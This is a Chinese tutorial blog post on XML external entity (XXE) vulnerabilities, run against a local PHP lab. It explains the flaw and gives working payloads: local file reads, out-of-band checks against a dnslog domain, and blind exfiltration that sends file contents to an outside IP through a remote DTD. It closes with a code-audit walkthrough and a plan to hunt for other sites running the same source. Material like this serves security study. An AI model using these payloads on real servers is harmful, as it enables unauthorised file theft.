XML&XXE&思路

在这里插入图片描述

蓝易云高性能服务器

在这里插入图片描述
|

|

|

|

|

🤪🤪🤪🤪🤪🤪点击购买吧-年付送定制U盘

🤪🤪🤪🤪🤪🤪点击购买吧-年付送定制U盘

🤪🤪🤪🤪🤪🤪点击购买吧-年付送定制U盘

🤪🤪🤪🤪🤪🤪点击购买吧-年付送定制U盘

🤪🤪🤪🤪🤪🤪点击购买吧-年付送定制U盘

🤪🤪🤪🤪🤪🤪点击购买吧-年付送定制U盘

|

|

|

|

|

XML和XXE

首先说一下XML是一种标记语言,他是一种语言那么他和我们的HTML是相似的,后面我们会说一下他们之间的区别,那么XXE又是什么呢,其实XXE他是一种漏洞,那么XXE漏洞其实就是针对我们XML标语语言的漏洞,

XXE漏洞

那么XXE漏洞的产生:其实就是应用程序解析XML输入时,没有禁止外部实体加载,导致了可加载恶意外部文件,造成文件读取,命令执行,内网端口扫描,攻击内网网站等危害

XML与HTML区别

XML

XML一开始设计是为了传输和存储数据,其焦点是数据的内容

HTML

HTML一开始设计是用来显示数据的,其焦点是数据显示呈现的外观

区别

HTML是显示数据,而XML是传输信息

提问

当别人问道什么是XML?他和HTML有什么区别?XXE又是什么?导致XXE产生的原因是什么?

1.XML是一种标记语言 类似我们的HTML

2.XML是负责传输信息的 而我们的HTML是负责将数据信息呈现出来,就是显示数据

3.XXE是针对我们XML语言的一种漏洞统称

4.导致XXE漏洞的产生原因是,当应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取,命令执行,内网端口扫描,内网攻击等危害

XML的识别

在这里插入图片描述

这是我们的一个源码

他也是php作为后端的

我们通过抓包来判断他的一个解析语言

POST /php_xxe/doLogin.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/xml;charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 66
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/php_xxe/
Cookie: PHPSESSID=narkclr1qqmmdo7cs87knic7p4
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

<user><username>admin</username><password>123456</password></user>

在这里插入图片描述

在这里插入图片描述

抓住某些关键词

应用XML标记语言,

如果你是英语比较不好

通过查看XML多多少少会想到XXE漏洞

这是我们XML标记语言的抓包

我们看看普通的一个登录抓包

在这里插入图片描述

普通的xml+HTML的

而我们上面就只有XML

再回顾我们的XXE漏洞产生的原因

就是应用程序在解析传输过来的XML时,没有禁止外部实体的加载,导致漏洞产生,

这个流程是这样的

客户端:XML数据发送

服务端:XML数据接收并解析

问题就出在服务端,如果服务端只要接受到XML数据就解析执行,那么客户端发送恶意的XML数据,服务器也会去解析这个数据,这就导致了漏洞的产生

怎么利用XXE

我们就可以把我们传输给服务端的数据改成恶意执行XML,当服务器端去解析我们的XML就会执行我们的恶意XML了

XXE实现

XXE文件读取

<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM  "file:///d:/e.txt">
]>

通过file协议读取

XML版本是1.0

我们来实现这个漏洞

抓包

在这里插入图片描述

然后把我们的XML执行代码替换上去

在这里插入图片描述

带外测试

<?xml version="1.0" ?>
<!DOCTYPE test [
    <!ENTITY % file SYSTEM "http://9v57ll.dnslog.cn">
    %file;
]>

带外测试用到一个网站

http://dnslog.cn/

在这里插入图片描述

点击这个获取一个地址

y4a5jj.dnslog.cn

然后套我们上面的模板

在这里插入图片描述

替换到这里

然后发送数据包

在这里插入图片描述

那么更改我们换了一个地址

在这里插入图片描述

可以了

在这里插入图片描述

就说明他执行了我们的恶意执行代码

外部引用实体dtd:

<?xml version="1.0" ?>
<!DOCTYPE test [
    <!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">
    %file;
]>

evil2.dtd文件

<!ENTITY send SYSTEM "file:///d:/e.txt">

无回显读文件

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/e.txt">
<!ENTITY % remote SYSTEM "http://47.94.236.117/test.dtd">
%remote;
%all;
]>
<root>&send;</root>

test.dtd文件

<!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>">

不同的语言用不同的协议

img

白盒审计

我们用到了seay源码审计系统

在代码审计中

可以用搜索关键字的方式来查找代码中的漏洞

那么我们这次审计的针对XML的代码

所有我们要找到的XML的代码的关键词

而XML代码的漏洞的原因是因为解析了恶意xml代码

所有我们要找到关键词就是

数据

发数据

接收数据

和XML解析函数

等这些关键词

https://www.cnblogs.com/timelesszhuang/p/4699734.html

那么我们找到了函数是

存在我们源码中的

我们来分析一下

在这里插入图片描述

那么我们通过全局搜索

去搜索这个函数

在这里插入图片描述

搜索到三处地方

我们一个一个看看

在这里插入图片描述

找到了特殊的字样

那么这个函数是包含中

pe_getxml这个定义函数在的

在这里插入图片描述

那么这个又是什么东西呢

$xml = file_get_contents("php://input");

意思就是如果有数据发送到服务端,那么服务端就会通过file_get_contents(php://input)去获取数据流

获取到的数据量信息就赋值给变量xml

基本判断完了这个是什么意思

下面我就全局搜索定义函数

看看这个定义函数在哪里被调用了

在这里插入图片描述

发现两个调用的地方

在这里插入图片描述

那么这里是调用了这个函数然后给另一个定义函数

就是说

调用了wechat_getxml这个函数

就是调用了

pe_getxml这个函数

好那么我们继续全局搜索wechat_getxml

在这里插入图片描述

最后就找到了他最终要执行的代码

好那么我们就找到这个文件的路径

然后我们去网上找有没有人使用这个源码的

然后尝试漏洞挖掘
在这里插入图片描述

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

无聊的知识

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值